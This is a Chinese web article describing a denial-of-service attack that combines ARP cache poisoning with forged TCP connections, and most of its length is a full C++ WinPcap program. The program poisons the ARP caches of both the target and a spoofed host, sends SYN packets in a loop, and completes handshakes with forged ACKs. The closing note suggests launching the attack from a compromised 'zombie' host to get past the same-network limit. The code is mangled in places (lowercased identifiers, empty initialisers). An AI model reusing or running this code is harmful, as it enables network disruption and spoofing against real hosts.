上一篇:Win XP系统默认设置带来的7个安全问题 >>
基于ARP欺骗的TCP伪连接D.o.S
要解决这个问题,办法有不少,而我这里要用的方法就是arp欺骗。首先,我们要对目标主机进行arp欺骗,让它认为我们是同一网段中的另一台机器。然后我们就可以伪装这台机器向目标主机发起tcp伪连接了。这样一来,即使目标主机返回一个syn+ack包,这个包也不会进入到我们的系统(因为这个包的目的ip不会是我们而应该是我们伪装的那台主机的ip),这样,我们的系统也不会向目标主机发送rst包了。
打个比方,假设我们是主机a,现在我想要攻击主机b。首先,我先伪装主机c对b进行arp欺骗(以c的ip地址和a的mac地址构造arp应答包发送到b),这样,b的arp缓存中就会记录下c的ip对应a的mac地址。然后,我们再以c的ip为源ip构造syn数据包,向b发起tcp伪连接。当 b收到这个syn包之后,它会构造一个syn+ack包发往c。但是,由于此时在b的arp缓存中记录着:c的ip对应a的mac地址,因此,这个syn +ack包实际上被发送到了a。虽然,这个包将被a的系统所丢弃(因为这个包的目的ip是c的ip而不是a的ip,所以a的系统将会丢弃这个包),但是,我们仍然可以从链路层直接将这个数据帧获取下来。得到了这个syn+ack包之后,我们需要再次伪装c向b发回一个ack包完成第三次握手。这样,tcp 初始化连接的三次握手都完成了,我们的伪连接也成功建立了!
伪连接建立之后,我们还可以继续向目标主机发送数据,来保证tcp连接的存活。
这里,有几个需要注意的问题:首先,为了保证攻击过程中目标主机的arp缓存不被更改,我们需要持续不断的对其进行arp欺骗;第二,为了防止在攻击过程中我们伪装的主机向目标主机发起通信,刷新目标主机的arp缓存,对我们的攻击造成影响,我们还可以对伪装主机也同时进行arp欺骗,以增加攻击成功的几率。
好了,说了这么多,下面就给出我实现的源代码,欢迎大虾们多多指教。
// dos_by_arpcheat.cpp : defines the entry point for the console application.
//
#include "stdafx.h"
#include "winsock2.h"
#include "packet32.h"
#include "stdio.h"
#pragma comment(lib, "packet")
#pragma comment(lib, "ws2_32")
//下面几个宏是测试用的主机的ip和mac
#define simulate_mac "0011111d735a" //伪装主机的mac地址
#define target_mac "001111c6f7fe" //目的主机的mac地址
#define local_mac "00e06e41508f" //本机mac地址
#define target_ip "211.83.97.24" //目的主机的ip
#define simulate_ip "211.83.97.16" //伪装主机的ip
#define ndis_packet_type_directed 0x0001 //直接模式
#pragma pack(push, 1)
struct et_header //以太网头部
{
unsigned char eh_dst[6];
unsigned char eh_src[6];
unsigned short eh_type;
};
struct arp_header //arp头部
{
unsigned short arp_hdr;
unsigned short arp_pro;
unsigned char arp_hln;
unsigned char arp_pln;
unsigned short arp_opt;
unsigned char arp_sha[6];
unsigned long arp_spa;
unsigned char arp_tha[6];
unsigned long arp_tpa;
};
struct ip_header //ip头部
{
char m_ver_hlen; //4位版本号,4位ip头部长
char m_tos;
ushort m_tlen;
ushort m_ident;
ushort m_flag_frag; //3位标志位(1位未用位,1位df,1位mf),13位片断偏移量
char m_ttl;
char m_protocol;
ushort m_cksum;
ulong m_sip;
ulong m_dip;
};
struct tcp_header //tcp头部
{
ushort m_sport;
ushort m_dport;
ulong m_seq;
ulong m_ack;
char m_hlen_res4; //4位tcp头部长,6位保留的前4位
char m_res2_flag; //6位保留的后2位,6位标志
ushort m_win;
ushort m_cksum;
ushort m_urp;
};
struct psd_header //伪头部,计算校验和用
{
ulong m_saddr; //源地址
ulong m_daddr; //目的地址
char m_mbz;
char m_ptcl; //协议类型
ushort m_tcpl; //tcp长度
};
struct tcp_option //tcp选项,发起伪连接时要用来与对方协商
{
ushort unknown;
ushort maxsegsize; //mss,以太网一般为1460
char no1;
char no2;
ushort sack;
};
struct cheat_arp_info //arp欺骗线程的参数
{
char simulateip[20];
char targetip[20];
char targetmac[13];
};
#pragma pack(pop)
ushort checksum(ushort *buffer, int size); //计算校验和的函数
void strtomac(char *str,char *mac); //字符串转换为mac地址
void listenack(); //监听函数,监听对方的回包
void assayandsenddata(lppacket lppacket); //分析数据帧并发送回包
dword winapi arpcheat(void *pinfo); //arp欺骗线程
dword winapi sendsyn(void *no); //发送syn包的线程
void info();
lpadapter lpadapter=null; //适配器指针
ushort ipid=1638; //ip标识
ushort sourceport=1056; //起始源端口
ushort targetport=445; //目的端口
int main(int argc, char* argv[])
{
info();
wsadata wsadata;
if(wsastartup(makeword(2,1), &wsadata)!=0)
{
printf("wsastartup error!\n");
return -1;
}
//打开适配器:
wchar adapter_name[2048]=;
ulong adapter_length=1024;
//取得所有适配器的名字.
if(packetgetadapternames((char*)adapter_name, &adapter_length)==false)
{
//adapter_name:一个用于存放适配器的名字的缓冲区
//adapter_length:这个缓冲区的大小
printf("packetgetadapternames error:%d\n",getlasterror());
return -1;
}
wchar *name1,*name2;
ulong i;
static char adapter_list[10][1024];
name1=adapter_name;
name2=adapter_name;
i=0;
//把adapter_name中的适配器名字,分别copy到adapter_list[]中,i从0开始为第一个
while((*name1!='\0') (*(name1-1)!='\0'))
{
if(*name1=='\0')
{
memcpy(adapter_list[i],name2,2*(name1-name2));
name2=name1+1;
i++;
}
name1++;
}
//默认打开第一块适配器
lpadapter=(lpadapter)packetopenadapter((lptstr)adapter_list[0]);
if (!lpadapter(lpadapter->hfile==invalid_handle_value))
{
printf("unable to open the driver, error code : %lx\n", getlasterror());
return -1;
}
//创建arp欺骗线程:
cheat_arp_info info1=,info2=;
memcpy(info1.simulateip,simulate_ip,strlen(simulate_ip));
memcpy(info1.targetip,target_ip,strlen(target_ip));
memcpy(info1.targetmac,target_mac,strlen(target_mac));
::createthread(null,0,arpcheat,&info1,0,null);
memcpy(info2.simulateip,target_ip,strlen(target_ip));
memcpy(info2.targetip,simulate_ip,strlen(simulate_ip));
memcpy(info2.targetmac,simulate_mac,strlen(simulate_mac));
::createthread(null,0,arpcheat,&info2,0,null);
sleep(50);
//发送tcp伪连接的syn数据帧:
::createthread(null,0,sendsyn,null,0,null);
listenack(); //循环监听数据包
packetcloseadapter(lpadapter); //关闭适配器
::wsacleanup();
return 0;
}
dword winapi sendsyn(void *no)
{
sleep(100);
while(true) //循环发送syn包发起伪连接
{
char s_mac[6]=,d_mac[6]=;
char sendsynbuf[128]=;
et_header et_header=;
ip_header ip_header=;
tcp_header tcp_header=;
tcp_option tcp_option=;
psd_header psd_header=;
//填充以太头部:
strtomac(local_mac,s_mac); //local_mac
memcpy(et_header.eh_src,s_mac,6);
strtomac(target_mac,d_mac); //dest_mac
memcpy(et_header.eh_dst,d_mac,6);
et_header.eh_type=htons(0x0800); //类型为0x0800表示这是ip包
//填充ip头部:
ip_header.m_ver_hlen=(4<<45);
ip_header.m_tos=0;
ip_header.m_tlen=htons(sizeof(ip_header)+sizeof(tcp_header)+sizeof(tcp_option));
ip_header.m_ident=htons(ipid++);
ip_header.m_flag_frag=htons(16384); //设置为不分片
ip_header.m_ttl=128;
ip_header.m_protocol=ipproto_tcp; //高层协议为tcp
ip_header.m_cksum=0;
ip_header.m_sip=inet_addr(simulate_ip); //源ip填为伪装主机的ip
ip_header.m_dip=inet_addr(target_ip); //目的ip
ip_header.m_cksum=checksum((ushort *)&ip_header,sizeof(ip_header));
//填充tcp头部以及tcp选项:
tcp_header.m_dport=htons(targetport);
tcp_header.m_sport=htons(sourceport++);
tcp_header.m_seq=::gettickcount(); //初始化序列号
tcp_header.m_ack=0;
tcp_header.m_hlen_res4=(((sizeof(tcp_header)+sizeof(tcp_option))/4)<<4);
tcp_header.m_res2_flag=2; //标识为syn包
tcp_header.m_win=htons(16384);
tcp_header.m_cksum=0;
tcp_header.m_urp=0;
tcp_option.unknown=htons(516);
tcp_option.maxsegsize=htons(1460); //mss,以太网一般为1460
tcp_option.no1=1;
tcp_option.no2=1;
tcp_option.sack=htons(1026);
//计算tcp校验和:
psd_header.m_daddr=ip_header.m_dip;
psd_header.m_saddr=ip_header.m_sip;
psd_header.m_mbz=0;
psd_header.m_ptcl=ipproto_tcp;
psd_header.m_tcpl=htons(sizeof(tcp_header)+sizeof(tcp_option));
char tcpbuf[128]=;
memcpy(tcpbuf,&psd_header,sizeof(psd_header));
memcpy(tcpbuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
memcpy(tcpbuf+sizeof(psd_header)+sizeof(tcp_header),&tcp_option,sizeof(tcp_option));
tcp_header.m_cksum=checksum((ushort *)tcpbuf,sizeof(psd_header)+sizeof(tcp_header)+sizeof(tcp_option));
//构造syn数据帧:
memcpy(sendsynbuf,&et_header,sizeof(et_header));
memcpy(sendsynbuf+sizeof(et_header),&ip_header,sizeof(ip_header));
memcpy(sendsynbuf+sizeof(et_header)+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memcpy(sendsynbuf+sizeof(et_header)+sizeof(ip_header)+sizeof(tcp_header),&tcp_option,sizeof(tcp_option));
//发送伪造的syn包:
lppacket lppacket;
lppacket=packetallocatepacket(); //给packet结构指针分配内存
packetinitpacket(lppacket,sendsynbuf,128); //初始化packet结构指针
if(packetsetnumwrites(lpadapter,1)==false) //设置发送次数
{
printf("warning: unable to send more than one packet in a single write!\n");
continue;
}
if(packetsendpacket(lpadapter,lppacket,true)==false)
{
printf("error sending the packets!\n");
continue;
}
packetfreepacket(lppacket); //释放packet结构指针
sleep(100);
}
return 0;
}
dword winapi arpcheat(void *pinfo)
{
cheat_arp_info info=;
memcpy(&info,pinfo,sizeof(cheat_arp_info));
//伪造arp应答包:
char s_mac[6]=,d_mac[6]=;
et_header et_header=;
arp_header arp_header=;
char buffer[64]=;
strtomac(local_mac,s_mac); //源mac地址
memcpy(et_header.eh_src,s_mac,6);
strtomac(info.targetmac,d_mac); //目的mac地址
memcpy(et_header.eh_dst,d_mac,6);
et_header.eh_type=htons(0x0806); //类型为0x0806表示这是arp包
arp_header.arp_hdr=htons(0x0001); //硬件地址类型以太网地址
arp_header.arp_pro=htons(0x0800); //协议地址类型为ip协议
arp_header.arp_hln=6; //硬件地址长度为6
arp_header.arp_pln=4; //协议地址长度为4
arp_header.arp_opt=htons(0x0002); //标识为arp应答
arp_header.arp_spa=inet_addr(info.simulateip); //source_ip
memcpy(arp_header.arp_sha,et_header.eh_src,6);
arp_header.arp_tpa=inet_addr(info.targetip); //target_ip
memcpy(arp_header.arp_tha,et_header.eh_dst,6);
memcpy(buffer,&et_header,sizeof(et_header));
memcpy(buffer+sizeof(et_header),&arp_header,sizeof(arp_header));
//发送伪造地arp应答包:
lppacket lppacket;
lppacket=packetallocatepacket(); //给packet结构指针分配内存
packetinitpacket(lppacket,buffer,64); //初始化packet结构指针
if(packetsetnumwrites(lpadapter,1)==false) //设置发送次数
printf("warning: unable to send more than one packet in a single write!\n");
while(true)
{
if(packetsendpacket(lpadapter,lppacket,true)==false) //不断发送伪造的arp应答包达到欺骗目标主机的目的
{
printf("error sending the packets!\n");
break;
}
sleep(3000);
}
packetfreepacket(lppacket); //释放packet结构指针
return 0;
}
void listenack()
{
lppacket lppacket;
char recvbuf[512]=;
packetsethwfilter(lpadapter, ndis_packet_type_directed); //设置网卡为直接模式
packetsetbuff(lpadapter,1024); //设置网卡接收数据包的缓冲区大小
packetsetreadtimeout(lpadapter,2); //设置接收到一个包后的“休息”时间
while(true)
{
lppacket=packetallocatepacket(); //给packet结构指针分配内存
packetinitpacket(lppacket,recvbuf,512); //初始化packet结构指针
if(packetreceivepacket(lpadapter,lppacket,true)==true) //接收数据帧
assayandsenddata(lppacket); //分析数据包并发送ack包
else
printf("recv error!\n");
//每次收包后重置lppacket:
packetfreepacket(lppacket);
memset(recvbuf,0,512);
sleep(10);
}
packetfreepacket(lppacket); //释放lppacket
return;
}
ushort checksum(ushort *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(ushort);
}
if(size)
cksum += *(uchar*)buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (ushort)(~cksum);
}
void strtomac(char *str,char *mac) //自定义的将字符串转换成mac地址的函数
{
char *str1;
int i;
int low,high;
char temp;
for(i=0;i<6;i++)
{
str1=str+1;
switch(*str)
{
case 'a':high=10;
break;
case 'b':high=11;
break;
case 'c':high=12;
break;
case 'd':high=13;
break;
case 'e':high=14;
break;
case 'f':high=15;
break;
default:temp=*str;
high=atoi(&temp);
}
switch(*str1)
{
case 'a':low=10;
break;
case 'b':low=11;
break;
case 'c':low=12;
break;
case 'd':low=13;
break;
case 'e':low=14;
break;
case 'f':low=15;
break;
default:temp=*str1;
low=atoi(&temp);
}
mac[i]=high*16+low;
str+=2;
}
}
void assayandsenddata(lppacket lppacket)
{
char *buf;
bpf_hdr *lpbpfhdr;
et_header *lpethdr;
in_addr addr=;
buf=(char *)lppacket->buffer;
lpbpfhdr=(bpf_hdr *)buf;
lpethdr=(et_header *)(buf+lpbpfhdr->bh_hdrlen);
if(lpethdr->eh_type==htons(0x0800)) //判断是否为ip包
{
ip_header *lpiphdr=(ip_header *)(buf+lpbpfhdr->bh_hdrlen+sizeof(et_header));
if( ( inet_addr(simulate_ip)==lpiphdr->m_dip ) && ( inet_addr(target_ip)==lpiphdr->m_sip ) && (lpiphdr->m_protocol==ipproto_tcp) ) //判断所收到的数据包的传输层协议、源及目的ip
{
tcp_header *lptcphdr=(tcp_header *)(buf+lpbpfhdr->bh_hdrlen+sizeof(et_header)+sizeof(ip_header));
if( ( (lptcphdr->m_res2_flag & 0x10)!=0 ) && ( lptcphdr->m_win!=0 ) ) //判断是否为带ack标记的包并判断目标主机接收窗口是否已为0
{
char s_mac[6]=,d_mac[6]=;
char sendsynbuf[128]=;
char *data="ffantasyyd";
et_header et_header=;
ip_header ip_header=;
tcp_header tcp_header=;
psd_header psd_header=;
strtomac(local_mac,s_mac); //local_mac
memcpy(et_header.eh_src,s_mac,6);
strtomac(target_mac,d_mac); //dest_mac
memcpy(et_header.eh_dst,d_mac,6);
et_header.eh_type=htons(0x0800); //类型为0x0800表示这是ip包
ip_header.m_ver_hlen=(4<<45);
ip_header.m_tos=0;
ip_header.m_tlen=htons(sizeof(ip_header)+sizeof(tcp_header)+strlen(data));
ip_header.m_ident=htons(ipid++);
ip_header.m_flag_frag=htons(16384); //设置为不分片
ip_header.m_ttl=128;
ip_header.m_protocol=ipproto_tcp; //高层协议为tcp
ip_header.m_cksum=0;
ip_header.m_sip=inet_addr(simulate_ip);
ip_header.m_dip=inet_addr(target_ip);
ip_header.m_cksum=checksum((ushort *)&ip_header,sizeof(ip_header));
tcp_header.m_dport=lptcphdr->m_sport;
tcp_header.m_sport=lptcphdr->m_dport;
tcp_header.m_seq=lptcphdr->m_ack; //序列号为接收到包的ack号
if(lptcphdr->m_res2_flag==0x12) //若收到的包是syn+ack包,则ack号为接收到包的序列号加1
tcp_header.m_ack=htonl(ntohl(lptcphdr->m_seq)+1);
else //若收到的包不是syn+ack包,则ack号为接收到包的序列号加上包的数据部分长度
tcp_header.m_ack=htonl(ntohl(lptcphdr->m_seq)+ntohs(lpiphdr->m_tlen)-40);
tcp_header.m_hlen_res4=((sizeof(tcp_header)/4)<<4);
tcp_header.m_res2_flag=0x10; //设置为ack包
tcp_header.m_win=lptcphdr->m_win;
tcp_header.m_cksum=0;
tcp_header.m_urp=0;
psd_header.m_daddr=ip_header.m_dip;
psd_header.m_saddr=ip_header.m_sip;
psd_header.m_mbz=0;
psd_header.m_ptcl=ipproto_tcp;
psd_header.m_tcpl=htons(sizeof(tcp_header)+strlen(data));
char tcpbuf[128]=;
memcpy(tcpbuf,&psd_header,sizeof(psd_header));
memcpy(tcpbuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
memcpy(tcpbuf+sizeof(psd_header)+sizeof(tcp_header),data,strlen(data));
tcp_header.m_cksum=checksum((ushort *)tcpbuf,sizeof(psd_header)+sizeof(tcp_header)+strlen(data));
memcpy(sendsynbuf,&et_header,sizeof(et_header));
memcpy(sendsynbuf+sizeof(et_header),&ip_header,sizeof(ip_header));
memcpy(sendsynbuf+sizeof(et_header)+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memcpy(sendsynbuf+sizeof(et_header)+sizeof(ip_header)+sizeof(tcp_header),data,strlen(data));
//发送伪造的ack包:
lppacket lpsendpacket;
lpsendpacket=packetallocatepacket(); //给packet结构指针分配内存
packetinitpacket(lpsendpacket,sendsynbuf,128); //初始化packet结构指针
if(packetsetnumwrites(lpadapter,1)==false) //设置发送次数
{
printf("warning: unable to send more than one packet in a single write!\n");
return;
}
if(packetsendpacket(lpadapter,lpsendpacket,true)==false)
{
printf("error sending the packets!\n");
return;
}
packetfreepacket(lpsendpacket); //释放packet结构指针
}
}
}
return;
}
void info()
{
printf("********************************\n");
printf("* made by ffantasyyd *\n");
printf("* qq:76889713 *\n");
printf("* email:ffantasyyd@163.com *\n");
printf("* http://ffantasyyd.126.com *\n");
printf("********************************\n");
}
注:由于以上代码是我测试用的,因此显得不太便于使用,很多信息都是我自己去获取后直接写进程序里的,比如目标主机的mac地址等,这些都需要测试者自己修改。另外,这种d.o.s存在着一个局限性,那就是目标主机必须跟我们的主机处于同一个二层网络内。但是,我们可以利用一些方法来克服这种局限性,比如,我们可以在目标主机的网络内找一台肉鸡,这样,我们就只需要控制那台肉鸡进行攻击就行了。
()
下一篇:在网络钓鱼攻击的幕后 >>
相关文章:
- · 解析网络防护层配置以及物理安全性
- · 修改注册表挖掘IE的潜力
- · 详述Windows 2000系统日志及其删除方法
- · 揭开Windows系统网络邻居的内幕秘密
- · 开启Win XP关闭的事件跟踪程序功能
- · 判断你的用户是否真的被黑客攻击
- · 有效防范IP地址泄漏
- · 创建 SvcHost.exe 调用的服务原理与实践
- · 使用NetFlow分析网络异常流量
- · 在网吧长期免费挂QQ
- · 使用Google黑掉Windows服务器
- · 确定QQ好友在线的常用三种方法
- · Linux下备份恢复技术的应用
- · 入侵和控制HP打印机的文件系统
- · Windows操作系统另类垃圾的清理
- · 轻松玩转QQ家园技巧全攻略
- · 纯脚本套牢你的动态ip肉鸡
- · Windows域信任关系建立全攻略
- · 比较ADO与ODBC的区别
- · 用Ipconfig获取最新的网络配置
- · Win 2000/XP客户端登录到Win 2000域时非常慢解决
- · 简单饶过人体艺术浏览器的VIP验证
- · 剖析Linux病毒原型工作过程和关键环节
- · Windows XP系统启动提速专题问答
- · 利用ISO文件重装Windows操作系统
- · EXE文件关联被破坏怎么办 恢复EXE文件关联补完版
- · IPv6与网络安全
- · 使用漏洞扫描工具评估网络系统安全
- · 探究BBSXP的漏洞
- · Windows 2000常见进程表
- · Linux忘了root的密码怎么办
- · 企业安全管理从IP地址开始
- · 给操作系统排毒 WinXP另类垃圾的清理
- · 端口碰撞技术让开放端口更安全
- · 给MSN Messenger加把锁
- · 流行的QQ尾巴与盗号木马手工查杀方法
- · 用XPSP2防火墙打造最强护身甲
- · 浅谈linux操作系统的优化及安全配置
